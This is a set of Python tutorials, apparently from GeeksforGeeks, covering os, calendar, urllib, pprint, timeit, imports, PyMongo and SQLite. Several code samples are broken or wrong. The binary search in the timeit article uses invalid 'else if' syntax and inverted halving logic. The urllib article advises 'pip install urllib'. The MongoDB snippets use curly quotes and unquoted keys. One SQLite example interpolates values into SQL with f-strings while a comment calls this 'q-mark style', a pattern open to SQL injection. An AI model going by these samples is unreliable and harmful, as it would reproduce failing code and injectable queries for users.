    Understanding the Output: A file name “GFG.txt” exists, thus when os.rename() is used the first time, the file gets renamed. Upon calling the function os.rename() second time, file “New.txt” exists and not “GFG.txt” 
    thus Python throws FileNotFoundError. 
     

    6. os.remove(): Using the Os module we can remove a file in our system using the remove() method. To remove a file we need to pass the name of the file as a parameter. 

    Python3




    import os #importing os module.
     
    os.remove("file_name.txt") #removing the file.

    The OS module provides us a layer of abstraction between us and the operating system. When we are working with os module always specify the absolute path depending upon the operating system the code can run on any os but we need to change the path exactly. If you try to remove a file that does not exist you will get FileNotFoudError

    7. os.path.exists(): This method will check whether a file exists or not by passing the name of the file as a parameter. OS module has a sub-module named PATH by using which we can perform many more functions. 

    Python3




    import os
    #importing os module
     
    result = os.path.exists("file_name") #giving the name of the file as a parameter.
     
    print(result)
    Output
    False

    As in the above code, the file does not exist it will give output False. If the file exists it will give us output True. 

    8. os.path.getsize(): In this method, python will give us the size of the file in bytes. To use this method we need to pass the name of the file as a parameter.

    Python3




    import os #importing os module
     
    size = os.path.getsize("filename")
     
    print("Size of the file is", size," bytes.")

    Output:

    Size of the file is 192 bytes.

    This article is contributed by Piyush Doorwar. If you like GeeksforGeeks and would like to contribute, you can also write an article using write.geeksforgeeks.org or mail your article to review-team@geeksforgeeks.org. See your article appearing on the GeeksforGeeks main page and help other Geeks.
    Please write comments if you find anything incorrect, or you want to share more information about the topic discussed above.


    My Personal Notes arrow_drop_up

    Python | Calendar Module

    Improve Article
    Save Article
    Like Article
    • Difficulty Level : Easy
    • Last Updated : 02 Jul, 2021

    Python defines an inbuilt module calendar that handles operations related to the calendar. 
    The calendar module allows output calendars like the program and provides additional useful functions related to the calendar. Functions and classes defined in the Calendar module use an idealized calendar, the current Gregorian calendar extended indefinitely in both directions. By default, these calendars have Monday as the first day of the week, and Sunday as the last (the European convention).
    Example #1: Display the Calendar of a given month.
     

    Python3




    # Python program to display calendar of
    # given month of the year
       
    # import module
    import calendar
       
    yy = 2017
    mm = 11
       
    # display the calendar
    print(calendar.month(yy, mm))

    Output: 
     

    Example #2: Display calendar of the given year.
     

    Python3




    # Python code to demonstrate the working of
    # calendar() function to print calendar
       
    # importing calendar module
    # for calendar operations
    import calendar
       
    # using calendar to print calendar of year
    # prints calendar of 2018
    print ("The calendar of year 2018 is : ")
    print (calendar.calendar(2018, 2, 1, 6))

    Output: 
     

      
    class calendar.Calendar : 
    The calendar class creates a Calendar object. A Calendar object provides several methods that can be used for preparing the calendar data for formatting. This class doesn’t do any formatting itself. This is the job of subclasses. Calendar class allows the calculations for various tasks based on date, month, and year. Calendar class provides the following methods:

     

    FunctionDescription
    iterweekdays()Returns an iterator for the week day numbers that will be used for one week
    itermonthdates()Returns an iterator for the month (1–12) in the year
    itermonthdays()Returns an iterator of a specified month and a year
    itermonthdays2()Method is used to get an iterator for the month in the year similar to itermonthdates(). Days returned will be tuples consisting of a day of the month number and a week day number.
    itermonthdays3()Returns an iterator for the month in the year similar to itermonthdates(), but not restricted by the datetime.date range. Days returned will be tuples consisting of a year, a month and a day of the month numbers.
    itermonthdays4()Returns an iterator for the month in the year similar to itermonthdates(), but not restricted by the datetime.date range. Days returned will be tuples consisting of a year, a month, a day of the month, and a day of the week numbers.
    monthdatescalendar()Used to get a list of the weeks in the month of the year as full weeks
    monthdays2calendar()Used to get a list of the weeks in the month of the year as full weeks
    monthdayscalendarUsed to get a list of the weeks in the month of the year as full weeks
    yeardatescalendar()Used to get a list of the weeks in the month of the year as full weeks
    yeardays2calendar()Used to get the data for specified year. Entries in the week lists are tuples of day numbers and weekday numbers
    yeardayscalendar()Used to get the data for specified year. Entries in the week lists are day numbers

      
    class calendar.TextCalendar : 
    TextCalendar class can be used to generate plain text calendars. TextCalendar class in Python allows you to edit the calendar and use it as per your requirement. 

     

    FunctionDescription
    formatmonth()Method is used to get month’s calendar in a multi-line string
    prmonth()Method is used to print a month’s calendar as returned by formatmonth()
    formatyear()Method is used to get m-column calendar for an entire year as a multi-line string
    pryear()Method is used to print the calendar for an entire year as returned by formatmonth()

      
    class calendar.HTMLCalendar : 
    HTMLCalendar class can be used to generate HTML calendars. HTMLCalendar class in Python allows you to edit the calendar and use as per your requirement. 

     

    FunctionDescription
    formatmonth()Method is used to get month’s calendar as an HTML table
    formatyear()Method is used to get year’s calendar as an HTML table.
    formatyearpage()Method is used to get year’s calendar as a complete HTML page

      
    Simple TextCalendar class :
    For simple text calendars calendar module provides the following functions : 

     

    FunctionDescription
    setfirstweekday()Function sets the day start number of week
    firstweekday()Function returns the first week day number. By default 0 (Monday)
    isleap()Function checks if year mentioned in argument is leap or not
    leapdays()Function returns the number of leap days between the specified years in arguments
    weekday()Function returns the week day number(0 is Monday) of the date specified in its arguments
    weekheader()Returns a header containing abbreviated weekday names
    monthrange()Function returns two integers, first, the starting day number of week(0 as monday), second, the number of days in the month
    monthcalendar()Returns a matrix representing a month’s calendar. Each row represents a week; days outside of the month are represented by zeros
    prmonth()Function also prints the month of specific year but there is no need of “print” operation to execute this
    month()Function prints the month of a specific year mentioned in arguments
    prcal()Function also prints the calendar of specific year but there is no need of “print” operation to execute this
    calendar()Function displays the year, width of characters, no. of lines per week and column separations.

     


    My Personal Notes arrow_drop_up

    Python Urllib Module

    Improve Article
    Save Article
    Like Article
    • Difficulty Level : Medium
    • Last Updated : 13 Oct, 2021

    Urllib package is the URL handling module for python. It is used to fetch URLs (Uniform Resource Locators). It uses the urlopen function and is able to fetch URLs using a variety of different protocols.

    Urllib is a package that collects several modules for working with URLs, such as:

    If urllib is not present in your environment, execute the below code to install it.

    pip install urllib
    

    Let’s see these in details.

    urllib.request

    This module helps to define functions and classes to open URLs (mostly HTTP). One of the most simple ways to open such URLs is :
    urllib.request.urlopen(url)
    We can see this in an example:




    import urllib.request
    request_url = urllib.request.urlopen('https://www.geeksforgeeks.org/')
    print(request_url.read())
    The source code of the URL i.e. Geeksforgeeks.
    

    urllib.parse

    This module helps to define functions to manipulate URLs and their components parts, to build or break them. It usually focuses on splitting a URL into small components; or joining different URL components into URL strings.
    We can see this from the below code:




    from urllib.parse import * parse_url = urlparse('https://www.geeksforgeeks.org / python-langtons-ant/')
    print(parse_url)
    print("\n")
    unparse_url = urlunparse(parse_url)
    print(unparse_url)
    ParseResult(scheme='https', netloc='www.geeksforgeeks.org', path='/python-langtons-ant/', params='', query='', fragment='')
    
    https://www.geeksforgeeks.org/python-langtons-ant/
    

    Note:- The different components of a URL are separated and joined again. Try using some other URL for better understanding.

    Different other functions of urllib.parse are :

    FunctionUse
    urllib.parse.urlparseSeparates different components of URL
    urllib.parse.urlunparseJoin different components of URL
    urllib.parse.urlsplitIt is similar to urlparse() but doesn’t split the params
    urllib.parse.urlunsplitCombines the tuple element returned by urlsplit() to form URL
    urllib.parse.urldeflagIf URL contains fragment, then it returns a URL removing the fragment.

    urllib.error
    This module defines the classes for exception raised by urllib.request. Whenever there is an error in fetching a URL, this module helps in raising exceptions. The following are the exceptions raised :

    We can see this in following examples :




    # URL Error
      
    import urllib.request
    import urllib.parse
      
    # trying to read the URL but with no internet connectivity
    try:
        x = urllib.request.urlopen('https://www.google.com')
        print(x.read())
      
    # Catching the exception generated     
    except Exception as e :
        print(str(e))
    URL Error: urlopen error [Errno 11001] getaddrinfo failed
    




    # HTTP Error
      
    import urllib.request
    import urllib.parse
      
    # trying to read the URL
    try:
        x = urllib.request.urlopen('https://www.google.com / search?q = test')
        print(x.read())
      
    # Catching the exception generated    
    except Exception as e :
        print(str(e))
    HTTP Error 403: Forbidden
    

    urllib.robotparser
    This module contains a single class, RobotFileParser. This class answers question about whether or not a particular user can fetch a URL that published robot.txt files. Robots.txt is a text file webmasters create to instruct web robots how to crawl pages on their website. The robot.txt file tells the web scraper about what parts of the server should not be accessed.
    For example :




    # importing robot parser class
    import urllib.robotparser as rb
      
    bot = rb.RobotFileParser()
      
    # checks where the website's robot.txt file reside
    x = bot.set_url('https://www.geeksforgeeks.org / robot.txt')
    print(x)
      
    # reads the files
    y = bot.read()
    print(y)
      
    # we can crawl the main site
    z = bot.can_fetch('*', 'https://www.geeksforgeeks.org/')
    print(z)
      
    # but can not crawl the disallowed url
    w = bot.can_fetch('*', 'https://www.geeksforgeeks.org / wp-admin/')
    print(w)
    None
    None
    True
    False
    

    My Personal Notes arrow_drop_up

    pprint : Data pretty printer in Python

    Improve Article
    Save Article
    Like Article
    • Difficulty Level : Easy
    • Last Updated : 01 Sep, 2021

    This article is about a pretty useful built-in module in Python, pprint.

    The pprint module provides a capability to “pretty-print” arbitrary Python data structures in a well-formatted and more readable way!

    Let us consider an example:




    # A python code without pprint
    import requests
     
    def geocode(address):
        resp = requests.get(url, params = {'address': address})
        return resp.json()
     
    # calling geocode function
    data = geocode('India gate')
     
    # printing json response
    print(data)

    The above code is for getting the geocode information of a place using Google Maps API in JSON format.

    The output of above program looks like this:

    {'status': 'OK', 'results': [{'address_components': [{'long_name': 'Rajpath', 'types': ['route'], 
    'short_name': 'Rajpath'}, {'long_name': 'India Gate', 'types': ['political', 'sublocality', 
    'sublocality_level_1'], 'short_name': 'India Gate'}, {'long_name': 'New Delhi', 'types': 
    ['locality', 'political'], 'short_name': 'New Delhi'}, {'long_name': 'New Delhi', 
    'types': ['administrative_area_level_2', 'political'], 'short_name': 'New Delhi'}, {'long_name': 
    'Delhi', 'types': ['administrative_area_level_1', 'political'], 'short_name': 'DL'}, {'long_name': 
    'India', 'types': ['country', 'political'], 'short_name': 'IN'}, {'long_name': '110001', 'types': 
    ['postal_code'], 'short_name': '110001'}], 'geometry': {'location': {'lng': 77.2295097, 'lat': 28.612912}, 
    'viewport': {'northeast': {'lng': 77.2308586802915, 'lat': 28.6142609802915}, 'southwest': {'lng': 
    77.22816071970848, 'lat': 28.6115630197085}}, 'location_type': 'APPROXIMATE'}, 'types': 
    ['establishment', 'point_of_interest'], 'formatted_address': 'Rajpath, India Gate, New Delhi, Delhi 110001, 
    India', 'place_id': 'ChIJC03rqdriDDkRXT6SJRGXFwc'}]}

    As you can see, this output is not properly indented which affects readability for nested data structures.

    Now, consider the code below:




    # A python code with pprint
    import requests
    from pprint import pprint
     
    def geocode(address):
        resp = requests.get(url, params = {'address': address})
        return resp.json()
     
    # calling geocode function
    data = geocode('India gate')
     
    # pretty-printing json response
    pprint(data)

    The output of above code looks like this:

    {'results': [{'address_components': [{'long_name': 'Rajpath',
                                          'short_name': 'Rajpath',
                                          'types': ['route']},
                                         {'long_name': 'India Gate',
                                          'short_name': 'India Gate',
                                          'types': ['political',
                                                    'sublocality',
                                                    'sublocality_level_1']},
                                         {'long_name': 'New Delhi',
                                          'short_name': 'New Delhi',
                                          'types': ['locality', 'political']},
                                         {'long_name': 'New Delhi',
                                          'short_name': 'New Delhi',
                                          'types': ['administrative_area_level_2',
                                                    'political']},
                                         {'long_name': 'Delhi',
                                          'short_name': 'DL',
                                          'types': ['administrative_area_level_1',
                                                    'political']},
                                         {'long_name': 'India',
                                          'short_name': 'IN',
                                          'types': ['country', 'political']},
                                         {'long_name': '110001',
                                          'short_name': '110001',
                                          'types': ['postal_code']}],
                  'formatted_address': 'Rajpath, India Gate, New Delhi, Delhi '
                                       '110001, India',
                  'geometry': {'location': {'lat': 28.612912, 'lng': 77.2295097},
                               'location_type': 'APPROXIMATE',
                               'viewport': {'northeast': {'lat': 28.6142609802915,
                                                          'lng': 77.2308586802915},
                                            'southwest': {'lat': 28.6115630197085,
                                                          'lng': 77.22816071970848}}},
                  'place_id': 'ChIJC03rqdriDDkRXT6SJRGXFwc',
                  'types': ['establishment', 'point_of_interest']}],
     'status': 'OK'}
    

    As you can see, the output is now well formatted and much more readable.

    All we did was to import the pprint function of pprint module. And use pprint() function rather than the print function!

    This blog is contributed by Nikhil Kumar. If you like GeeksforGeeks and would like to contribute, you can also write an article using write.geeksforgeeks.org or mail your article to review-team@geeksforgeeks.org. See your article appearing on the GeeksforGeeks main page and help other Geeks.

    Please write comments if you find anything incorrect, or you want to share more information about the topic discussed above.


    My Personal Notes arrow_drop_up

    Timeit in Python with Examples

    Improve Article
    Save Article
    Like Article
    • Difficulty Level : Medium
    • Last Updated : 07 Mar, 2022

    This article will introduce you to a method of measuring the execution time of your python code snippets. 
    We will be using an in-built python library timeit.
    This module provides a simple way to find the execution time of small bits of Python code.

    Why timeit?  

    So now, let’s start exploring this handy library!

    The module function timeit.timeit(stmt, setup, timer, number) accepts four arguments: 

    Where the timeit.timeit() function returns the number of seconds it took to execute the code.

    Example 1
    Let us see a basic example first.  

    Python3




    # importing the required module
    import timeit
     
    # code snippet to be executed only once
    mysetup = "from math import sqrt"
     
    # code snippet whose execution time is to be measured
    mycode = '''
    def example():
        mylist = []
        for x in range(100):
            mylist.append(sqrt(x))
    '''
     
    # timeit statement
    print (timeit.timeit(setup = mysetup,
                         stmt = mycode,
                         number = 10000))

    Example 2
    Let’s see another practical example in which we will compare two searching techniques, namely, Binary search and Linear search
    Also, here I demonstrate two more features, timeit.repeat function and calling the functions already defined in our program. 

    Python3




    # importing the required modules
    import timeit
     
    # binary search function
    def binary_search(mylist, find):
        while len(mylist) > 0:
            mid = (len(mylist))//2
            if mylist[mid] == find:
                return True
            else if mylist[mid] < find:
                mylist = mylist[:mid]
            else:
                mylist = mylist[mid + 1:]
        return False
     
     
    # linear search function
    def linear_search(mylist, find):
        for x in mylist:
            if x == find:
                return True
        return False
     
     
    # compute binary search time
    def binary_time():
        SETUP_CODE = '''
    from __main__ import binary_search
    from random import randint'''
     
        TEST_CODE = '''
    mylist = [x for x in range(10000)]
    find = randint(0, len(mylist))
    binary_search(mylist, find)'''
         
        # timeit.repeat statement
        times = timeit.repeat(setup = SETUP_CODE,
                              stmt = TEST_CODE,
                              repeat = 3,
                              number = 10000)
     
        # printing minimum exec. time
        print('Binary search time: {}'.format(min(times)))       
     
     
    # compute linear search time
    def linear_time():
        SETUP_CODE = '''
    from __main__ import linear_search
    from random import randint'''
         
        TEST_CODE = '''
    mylist = [x for x in range(10000)]
    find = randint(0, len(mylist))
    linear_search(mylist, find)
        '''
        # timeit.repeat statement
        times = timeit.repeat(setup = SETUP_CODE,
                              stmt = TEST_CODE,
                              repeat = 3,
                              number = 10000)
     
        # printing minimum exec. time
        print('Linear search time: {}'.format(min(times))) 
     
    if __name__ == "__main__":
        linear_time()
        binary_time()

    from __main__ import binary_search
    from random import randint

    Example 3 
    Finally, I demonstrate below how you can utilize the command line interface of timeit module:

    Here I explain each term individually:  

    So, this was a brief yet concise introduction to timeit module and its practical applications. 
    Its a pretty handy tool for python programmers when they need a quick glance of the execution time of their code snippets.

    This article is contributed by Nikhil Kumar. If you like GeeksforGeeks and would like to contribute, you can also write an article using write.geeksforgeeks.org or mail your article to review-team@geeksforgeeks.org. See your article appearing on the GeeksforGeeks main page and help other Geeks.
    Please write comments if you find anything incorrect, or you want to share more information about the topic discussed above.
     


    My Personal Notes arrow_drop_up

    Import module in Python

    Improve Article
    Save Article
    Like Article
    • Difficulty Level : Easy
    • Last Updated : 12 May, 2021

    Import in python is similar to #include header_file in C/C++. Python modules can get access to code from another module by importing the file/function using import. The import statement is the most common way of invoking the import machinery, but it is not the only way.

    import module_name 
    When the import is used, it searches for the module initially in the local scope by calling __import__() function. The value returned by the function is then reflected in the output of the initial code. 

    PYTHON




    import math
    print(math.pi)

    Output:

    3.141592653589793

    import module_name.member_name 
    In the above code module, math is imported, and its variables can be accessed by considering it to be a class and pi as its object. 
    The value of pi is returned by __import__(). 
    pi as a whole can be imported into our initial code, rather than importing the whole module. 

    PYTHON




    from math import pi
     
    # Note that in the above example,
    # we used math.pi. Here we have used
    # pi directly.
    print(pi)

    Output:

    3.141592653589793

     
    from module_name import * 
    In the above code module, math is not imported, rather just pi has been imported as a variable. 
    All the functions and constants can be imported using *. 

    PYTHON




    from math import *
    print(pi)
    print(factorial(6))

    Output:

    3.141592653589793
    720

    As said above import uses __import__() to search for the module, and if not found, it would raise ImportError 

    PYTHON




    import mathematics
    print(mathematics.pi)

    Output:

    Traceback (most recent call last):
      File "C:/Users/GFG/Tuples/xxx.py", line 1, in 
        import mathematics
    ImportError: No module named 'mathematics'

    This article is contributed by Piyush Doorwar. If you like GeeksforGeeks and would like to contribute, you can also write an article using write.geeksforgeeks.org or mail your article to contribute@geeksforgeeks.org. See your article appearing on the GeeksforGeeks main page and help other Geeks.
     


    My Personal Notes arrow_drop_up

    MongoDB and Python

    Improve Article
    Save Article
    Like Article
    • Difficulty Level : Medium
    • Last Updated : 20 Apr, 2022

    Prerequisite : MongoDB : An introduction
    MongoDB is a cross-platform, document-oriented database that works on the concept of collections and documents. MongoDB offers high speed, high availability, and high scalability.
    The next question which arises in the mind of the people is “Why MongoDB”?
    Reasons to opt for MongoDB :

    1. It supports hierarchical data structure (Please refer docs for details)
    2. It supports associate arrays like Dictionaries in Python.
    3. Built-in Python drivers to connect python-application with Database. Example- PyMongo
    4. It is designed for Big Data.
    5. Deployment of MongoDB is very easy.

    MongoDB vs RDBMS

    MongoDB and PyMongo Installation Guide

    1. First start MongoDB from command prompt using :
      Method 1:
      mongod

      or
      Method 2:

      net start MongoDB


      See port number by default is set 27017 (last line in above image).
      Python has a native library for MongoDB. The name of the available library is “PyMongo”. To import this, execute the following command:




      from pymongo import MongoClient
    2. Create a connection : The very first after importing the module is to create a MongoClient.




      from pymongo import MongoClient
      client = MongoClient()

      After this, connect to the default host and port. Connection to the host and port is done explicitly. The following command is used to connect the MongoClient on the localhost which runs on port number 27017.




      client = MongoClient(‘host’, port_number)
      example:- client = MongoClient(‘localhost’, 27017)

      It can also be done using the following command:




      client = MongoClient(“mongodb://localhost:27017/”)
    3. Access DataBase Objects : To create a database or switch to an existing database we use:
      Method 1 : Dictionary-style




      mydatabase = client[‘name_of_the_database’]

      Method2 :




      mydatabase = client.name_of_the_database

      If there is no previously created database with this name, MongoDB will implicitly create one for the user.
      Note : The name of the database fill won’t tolerate any dash (-) used in it. The names like my-Table will raise an error. So, underscore are permitted to use in the name.

    4. Accessing the Collection : Collections are equivalent to Tables in RDBMS. We access a collection in PyMongo in the same way as we access the Tables in the RDBMS. To access the table, say table name “myTable” of the database, say “mydatabase”.
      Method 1:




      mycollection = mydatabase[‘myTable’]

      Method 2 :




      mycollection = mydatabase.myTable

      >MongoDB store the database in the form of dictionaries as shown:>

      record = {
      title: 'MongoDB and Python', 
      description: 'MongoDB is no SQL database', 
      tags: ['mongodb', 'database', 'NoSQL'], 
      viewers: 104 
      } 

      ‘_id’ is the special key which get automatically added if the programmer forgets to add explicitly. _id is the 12 bytes hexadecimal number which assures the uniqueness of every inserted document.
      _id

    5. Insert the data inside a collection :
      Methods used:
      insert_one() or insert_many()

      We normally use insert_one() method document into our collections. Say, we wish to enter the data named as record into the ’myTable’ of ‘mydatabase’.




      rec = myTable.insert_one(record)

      The whole code looks likes this when needs to be implemented.




      # importing module
      from pymongo import MongoClient
        
      # creation of MongoClient
      client=MongoClient()
        
      # Connect with the portnumber and host
      client = MongoClient(“mongodb://localhost:27017/”)
        
      # Access database
      mydatabase = client[‘name_of_the_database’]
        
      # Access collection of the database
      mycollection=mydatabase[‘myTable’]
        
      # dictionary to be added in the database
      rec={
      title: 'MongoDB and Python'
      description: 'MongoDB is no SQL database'
      tags: ['mongodb', 'database', 'NoSQL'], 
      viewers: 104 
      }
        
      # inserting the data in the database
      rec = mydatabase.myTable.insert(record)
    6. Querying in MongoDB : There are certain query functions which are used to filter the data in the database. The two most commonly used functions are:
      1. find()
        find() is used to get more than one single document as a result of query.




        for i in mydatabase.myTable.find({title: 'MongoDB and Python'})
            print(i)

        This will output all the documents in the myTable of mydatabase whose title is ‘MongoDB and Python’.

      2. count()
        count() is used to get the numbers of documents with the name as passed int he parameters.




        print(mydatabase.myTable.count({title: 'MongoDB and Python'}))

        This will output the numbers of documents in the myTable of mydatabase whose title is ‘MongoDB and Python’.

        These two query functions can be summed to give a give the most filtered result as shown below.




        print(mydatabase.myTable.find({title: 'MongoDB and Python'}).count())
      3. To print all the documents/entries inside ‘myTable’ of database ‘mydatabase’ : Use the following code:




        from pymongo import MongoClient
          
        try:
            conn = MongoClient()
            print("Connected successfully!!!")
        except:  
            print("Could not connect to MongoDB")
          
        # database name: mydatabase
        db = conn.mydatabase
          
        # Created or Switched to collection names: myTable
        collection = db.myTable
          
        # To find() all the entries inside collection name 'myTable'
        cursor = collection.find()
        for record in cursor:
            print(record)

      This article is contributed by Rishabh Bansal and Shaurya Uppal.

      If you like GeeksforGeeks and would like to contribute, you can also write an article using contribute.geeksforgeeks.org or mail your article to contribute@geeksforgeeks.org. See your article appearing on the GeeksforGeeks main page and help other Geeks.

      Please write comments if you find anything incorrect, or you want to share more information about the topic discussed above.


      My Personal Notes arrow_drop_up

    SQL using Python

    Improve Article
    Save Article
    Like Article
    • Difficulty Level : Medium
    • Last Updated : 30 Sep, 2021

    In this article, integrating SQLite3 with Python is discussed. Here we will discuss all the CRUD operations on the SQLite3 database using Python. CRUD contains four major operations – 

    CRUD operations SQLite3 and Python

    Note: This needs a basic understanding of SQL

    Here, we are going to connect SQLite with Python. Python has a native library for SQLite3 called sqlite3. Let us explain how it works. 

    Connecting to SQLite Database

    import sqlite3
    sqliteConnection = sqlite3.connect('gfg.db')
    cursor = sqliteConnection.cursor()

    Example: Connecting to SQLite3 database using Python

    Python3




    import sqlite3
      
    # connecting to the database
    connection = sqlite3.connect("gfg.db")
      
    # cursor
    crsr = connection.cursor()
      
    # print statement will execute if there
    # are no errors
    print("Connected to the database")
      
    # close the connection
    connection.close()

    Output:

    Connected to the database

    Cursor Object

    Before moving further to SQLite3 and Python let’s discuss the cursor object in brief. 

    Executing SQLite3 Queries – Creating Tables

    After connecting to the database and creating the cursor object let’s see how to execute the queries.

    Example: Creating SQLite3 tables using Python

    In this example, we will create the SQLite3 tables using Python. The standard SQL command will be used for creating the tables.

    Python




    import sqlite3
      
    # connecting to the database
    connection = sqlite3.connect("gfg.db")
      
    # cursor
    crsr = connection.cursor()
      
    # SQL command to create a table in the database
    sql_command = """CREATE TABLE emp ( 
    staff_number INTEGER PRIMARY KEY, 
    fname VARCHAR(20), 
    lname VARCHAR(30), 
    gender CHAR(1), 
    joining DATE);"""
      
    # execute the statement
    crsr.execute(sql_command)
      
    # close the connection
    connection.close()

    Output:

    python sqlite3 create table

    Inserting into Table

    To insert data into the table we will again write the SQL command as a string and will use the execute() method.

    Example 1: Inserting Data into SQLite3 table using Python

    Python3




    # Python code to demonstrate table creation and
    # insertions with SQL
      
    # importing module
    import sqlite3
      
    # connecting to the database
    connection = sqlite3.connect("gfg.db")
      
    # cursor
    crsr = connection.cursor()
      
    # SQL command to insert the data in the table
    sql_command = """INSERT INTO emp VALUES (23, "Rishabh",\
    "Bansal", "M", "2014-03-28");"""
    crsr.execute(sql_command)
      
    # another SQL command to insert the data in the table
    sql_command = """INSERT INTO emp VALUES (1, "Bill", "Gates",\
    "M", "1980-10-28");"""
    crsr.execute(sql_command)
      
    # To save the changes in the files. Never skip this.
    # If we skip this, nothing will be saved in the database.
    connection.commit()
      
    # close the connection
    connection.close()

    Output:

    python sqlite3 insert data

    Example 2: Inserting data input by the user

    Python3




    # importing module
    import sqlite3
      
    # connecting to the database
    connection = sqlite3.connect("gfg.db")
      
    # cursor
    crsr = connection.cursor()
      
    # primary key
    pk = [2, 3, 4, 5, 6]
      
    # Enter 5 students first names
    f_name = ['Nikhil', 'Nisha', 'Abhinav', 'Raju', 'Anshul']
      
    # Enter 5 students last names
    l_name = ['Aggarwal', 'Rawat', 'Tomar', 'Kumar', 'Aggarwal']
      
    # Enter their gender respectively
    gender = ['M', 'F', 'M', 'M', 'F']
      
    # Enter their jpining data respectively
    date = ['2019-08-24', '2020-01-01', '2018-05-14', '2015-02-02', '2018-05-14']
      
    for i in range(5):
      
        # This is the q-mark style:
        crsr.execute(f'INSERT INTO emp VALUES ({pk[i]}, "{f_name[i]}", "{l_name[i]}", "{gender[i]}", "{date[i]}")')
      
    # To save the changes in the files. Never skip this.
    # If we skip this, nothing will be saved in the database.
    connection.commit()
      
    # close the connection
    connection.close()

    Output:

    insert into table python sqlite3

    Fetching Data

    In this section, we have discussed how to create a table and how to add new rows in the database. Fetching the data from records is simple as inserting them. The execute method uses the SQL command of getting all the data from the table using “Select * from table_name” and all the table data can be fetched in an object in the form of a list of lists.

    Example: Reading Data from sqlite3 table using Python

    Python




    # importing the module
    import sqlite3
      
    # connect withe the myTable database
    connection = sqlite3.connect("gfg.db")
      
    # cursor object
    crsr = connection.cursor()
      
    # execute the command to fetch all the data from the table emp
    crsr.execute("SELECT * FROM emp")
      
    # store all the fetched data in the ans variable
    ans = crsr.fetchall()
      
    # Since we have already selected all the data entries
    # using the "SELECT *" SQL command and stored them in
    # the ans variable, all we need to do now is to print
    # out the ans variable
    for i in ans:
        print(i)

    Output:

    fetch data python sqlite3

    Note: It should be noted that the database file that will be created will be in the same folder as that of the python file. If we wish to change the path of the file, change the path while opening the file.

    Updating Data

    For updating the data in the SQLite3 table we will use the UPDATE statement. We can update single columns as well as multiple columns using the UPDATE statement as per our requirement.

    UPDATE table_name SET column1 = value1, column2 = value2,…  
    WHERE condition; 

    In the above syntax, the SET statement is used to set new values to the particular column, and the WHERE clause is used to select the rows for which the columns are needed to be updated. 

    Example: Updating SQLite3 table using Python

    Python3




    # Import module
    import sqlite3
      
    # Connecting to sqlite
    conn = sqlite3.connect('gfg.db')
      
    # Creating a cursor object using
    # the cursor() method
    cursor = conn.cursor()
      
    # Updating
    cursor.execute('''UPDATE emp SET lname = "Jyoti" WHERE fname="Rishabh";''')
      
    # Commit your changes in the database
    conn.commit()
      
    # Closing the connection
    conn.close()

    Output:

    update sqlite3 table using Python

    Deleting Data

    For deleting the data from the SQLite3 table we can use the delete command. 

    DELETE FROM table_name [WHERE Clause]

    Example: Deleting from SQLite3 table using Python

    Python3




    # Import module
    import sqlite3
      
    # Connecting to sqlite
    conn = sqlite3.connect('gfg.db')
      
    # Creating a cursor object using
    # the cursor() method
    cursor = conn.cursor()
      
    # Updating
    cursor.execute('''DELETE FROM emp WHERE fname="Rishabh";''')
      
    # Commit your changes in the database
    conn.commit()
      
    # Closing the connection
    conn.close()

    Output:

    Deleting from SQLite3 table using Python

    Deleting Table

    DROP is used to delete the entire database or a table. It deleted both records in the table along with the table structure.

    Syntax: 

    DROP TABLE TABLE_NAME;

    Example: Drop SQLite3 table using Python

    Total tables in the gfg.db before dropping

    drop sqlite3 table using Python

    Now let’s drop the Student table and then again check the total table in our database.

    Python3




    # Import module
    import sqlite3
      
    # Connecting to sqlite
    conn = sqlite3.connect('gfg.db')
      
    # Creating a cursor object using
    # the cursor() method
    cursor = conn.cursor()
      
    # Updating
    cursor.execute('''DROP TABLE Student;''')
      
    # Commit your changes in the database
    conn.commit()
      
    # Closing the connection
    conn.close()

    Output:

    Dropping SQLite3 table using Python

    Note: To learn more about SQLit3 with Python refer to our Python SQLite3 Tutorial. 

    This article is contributed by Rishabh Bansal. If you like GeeksforGeeks and would like to contribute, you can also write an article using write.geeksforgeeks.org or mail your article to review-team@geeksforgeeks.org. See your article appearing on the GeeksforGeeks main page and help other Geeks.

    Please write comments if you find anything incorrect, or you want to share more information about the topic discussed above.


    My Personal Notes arrow_drop_up

    SQL using Python and SQLite | Set 2

    Improve Article
    Save Article
    Like Article
    • Difficulty Level : Easy
    • Last Updated : 06 Feb, 2018

    Databases offer numerous functionalities by which one can manage large amounts of information easily over the web, and high-volume data input and output over a typical file such as a text file. SQL is a query language and is very popular in databases. Many websites use MySQL. SQLite is a “light” version that works over syntax very much similar to SQL.

    SQLite is a self-contained, high-reliability, embedded, full-featured, public-domain, SQL database engine. It is the most used database engine in the world wide web.
    Python has a library to access SQLite databases, called sqlite3, intended for working with this database which has been included with Python package since version 2.5.

    In this article we will discuss, how to query database using commands like Update and Delete and also to visualize data via graphs.
    It is recommended to go through SQL using Python | Set 1

    Updation and Deletion Operation




    # code for update operation
    import sqlite3
      
    # database name to be passed as parameter
    conn = sqlite3.connect('mydatabase.db')
      
    # update the student record
    conn.execute("UPDATE Student SET name = 'Sam' where unix='B113059'")
    conn.commit()
      
    print "Total number of rows updated :", conn.total_changes
      
    cursor = conn.execute("SELECT * FROM Student")
    for row in cursor:
       print row,
      
    conn.close()

    Output:

    Total number of rows updated : 1
    (u'B113053', u'Geek', u'2017-01-11 13:53:39', 21.0), 
    (u'B113058', u'Saan', u'2017-01-11 13:53:39', 21.0), 
    (u'B113059', u'Sam', u'2017-01-11 13:53:39', 22.0)
    




    # code for delete operation
    import sqlite3
      
    # database name to be passed as parameter
    conn = sqlite3.connect('mydatabase.db')
      
    # delete student record from database
    conn.execute("DELETE from Student where unix='B113058'")
    conn.commit()
    print "Total number of rows deleted :", conn.total_changes
      
    cursor = conn.execute("SELECT * FROM Student")
    for row in cursor:
       print row,
      
    conn.close()

    Output:

    Total number of rows deleted : 1
    (u'B113053', u'Geek', u'2017-01-11 13:53:39', 21.0),
     (u'B113059', u'Sam', u'2017-01-11 13:53:39', 22.0)
    

    Data input by User




    # code for executing query using input data
    import sqlite3
      
    # creates a database in RAM
    con = sqlite3.connect(":memory:")
    cur = con.cursor()
    cur.execute("create table person (name, age, id)")
      
    print ("Enter 5 students names:")
    who = [raw_input() for i in range(5)]
    print ("Enter their ages respectively:")
    age = [int(raw_input()) for i in range(5)]
    print ("Enter their ids respectively:")
    p_id = [int(raw_input()) for i in range(5)]
    n = len(who)
      
    for i in range(n):
      
        # This is the q-mark style:
        cur.execute("insert into person values (?, ?, ?)", (who[i], age[i], p_id[i]))
      
        # And this is the named style:
        cur.execute("select * from person")
      
        # Fetches all entries from table
        print cur.fetchall()

    Output:

    (u'Navin', 34, 113053)
